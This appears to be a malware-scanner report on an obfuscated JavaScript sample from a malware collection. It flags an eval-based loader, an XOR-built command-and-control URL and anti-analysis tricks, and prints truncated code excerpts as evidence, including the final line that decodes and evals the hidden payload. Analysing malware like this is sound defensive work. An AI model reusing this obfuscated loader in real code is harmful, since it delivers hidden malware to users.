Suspicious ^80% javascript-malware-collection Download

20151217_8e5530306a72f46bdcc83acbdbd1ae2b.js

obfuscated eval, XOR C2, anti-analysis

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256fe6ae73553460757f4a15117baff228137584fdb83fb267f6af050e2bd531d6b

Evidence

Builds characters with String.fromCharCode line 2

2:146… '!','V','`','b','y','%','V','m','f','x','$','1','A','7','v','y',String.fromCharCode(10),'(','8','[','s','B','d','k','=','1','c','v','2','k','b','=',String.fromCharCode(13),',','s','Y','d','?','a','-','Q','D','b' …

XOR URL reconstruction call line 2

2:1858… 'c','Y',':','6','n','K','Z','_','[','[','D','H','B','4','7','9',String.fromCharCode(92),'J','n','X','V',')',']','^',']','3','V','d','_','&','a','8','(',']','(','`','H','(','`','$','a','/','T','k','b','.','v','r','B','[','c','z','v','F','t','d …

Dense indexed short-token grid lines 4–13

4:44… xUZZxk){RBtG=EZPwXmLZdssIIgsZN(zKbgZGfjOlG,ntvBddoANxScV);ViycA=RBtG.toString(cQxUZZxk);return ViycA;}
5function ERMNnkGTVnQnzEO(PRifPuhGxGYyLzrDa,eTPiFGfdtnLRmuoWcXVNkcuNNlmqtmhdsy,tPkAaUzDeKIjdDByZJAFHPSYZzvJWkONdxG){eval(PRifPuhGxGYyLzrDa);}
6function pxAytGNafuTbuFmWadIJOeYNRwxJMVOHFpSHwsTDUOhryNMFGJVTMo(IkpeVuESUwJKO,ctrqoBaXGyUsxO){ return okYbBpM[gMmUnNYm[nzcgL(IkpeVuESUwJKO[ctrqoBaXGyUsxO],(8023+685)/311,(2946+754)/370)]];}
7function iXnQZBB(EKRarQGPbHufobUxubzIAWpsQlJFSpamfNiT) {return !dGkGTGKYjSB(RHTqLQXNypVpXUp(EKRarQGPbHufobUxubzIAWpsQlJFSpamfNiT)) && qkAIgdkwdGAf(EKRarQGPbHufobUxubzIAWpsQlJFSpamfNiT);}
8function dGkGTGKYjSB(ybKIuQIzpNXTbs) {return isNaN(ybKIuQIzpNXTbs);}
9function qkAIgdkwdGAf(ztENLqrvfDPMT) {return isFinite(ztENLqrvfDPMT);}
10function EZPwXmLZdssIIgsZN(juzDfvQBSL,epqZukpRBb) {return parseInt(juzDfvQBSL,epqZukpRBb);}
11function RHTqLQXNypVpXUp(MNXMPyFpQDbXiBSYZsE) {return parseFloat(MNXMPyFpQDbXiBSYZsE);}
12function n(zLXcJrnaHkOShY,OMhlQNmuwpbKe,WyaUzQdKxZd) {zLXcJrnaHkOShY[OMhlQNmuwpbKe]=WyaUzQdKxZd;}
13var h = new Array();h[0]=[];h[0][0]='d';h[0][1]='a';h[0][2]='d';h[0][3]='a';h[0][4]='46';h[0][5]='3d';h[0][6]='42';h[0][7]='14';h[0][8]='2n';h[0][9]='14';h[0][10]='25';h[0][11]='14';h[0][12]='16';h[0][13]='47';h[0][14]='3k';h[0][15]='3d';h[0][16]='44';h[0][17]='3g';h[0][18]='3l';h[0][19]='3g';h[0][20]='49';h[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],h[4],h[5]];
20var dOpvKfVHv=[];
21function jpcetfHJINCkvEZlc(wnOot){ZoAuywqXQjJ= '';PWsYjNRhDgj=Math.round((Math.pow(Math.sin(471), 2) + Math.pow(Math.cos(471), 2) - 1));while(true){if (PWsYjNRhDgj >= (1926+636)/427){break;}dOpvKfVHv[PWsYjNRhDgj]=Math.round((Math.pow(Math.sin(853), 2) + Math.pow(Math.cos(853), 2) - 1)); while(true) { if(dOpvKfVHv[PWsYjNRhDgj] > wnOot[PWsYjNRhDgj].length-(491+501)/992) { break; } if (iXnQZBB(nzcgL(wnOot[PWsYjNRhDgj][dOpvKfVHv[PWsYjNRhDgj]],(14357+707)/538,(8621+639)/926))) {ZoAuywqXQjJ += pxAytGNafuTbuFmWadIJOeYNRwxJMVOHFpSHwsTDUOhryNMFGJVTMo([wnOot[PWsYjNRhDgj][dOpvKfVHv[PWsYjNRhDgj]]], Math.round((Math.pow(Math.sin(759), 2) + Math.pow(Math.cos(759), 2) - 1)));} dOpvKfVHv[PWsYjNRhDgj]++;}PWsYjNRhDgj++;} return ZoAuywqXQjJ}
22var jwoGxdhzqXsjkDIYKCeuRgqXqAFycjMMy = 'dgShPfVGaQKLFNyVaAxUpMiuNiePWqCJJGbN';var mnLEURASQFnSndtSAfUtzNdcuKfAyKRt = 'GQVpwjVOHnDtxboeCCtmdkPSaqfZzysGSwXJ';ERMNnkGTVnQnzEO(jpcetfHJINCkvEZlc(wnOot),jwoGxdhzqXsjkDIYKCeuRgqXqAFycjMMy,mnLEURASQFnSndtSAfUtzNdcuKfAyKRt);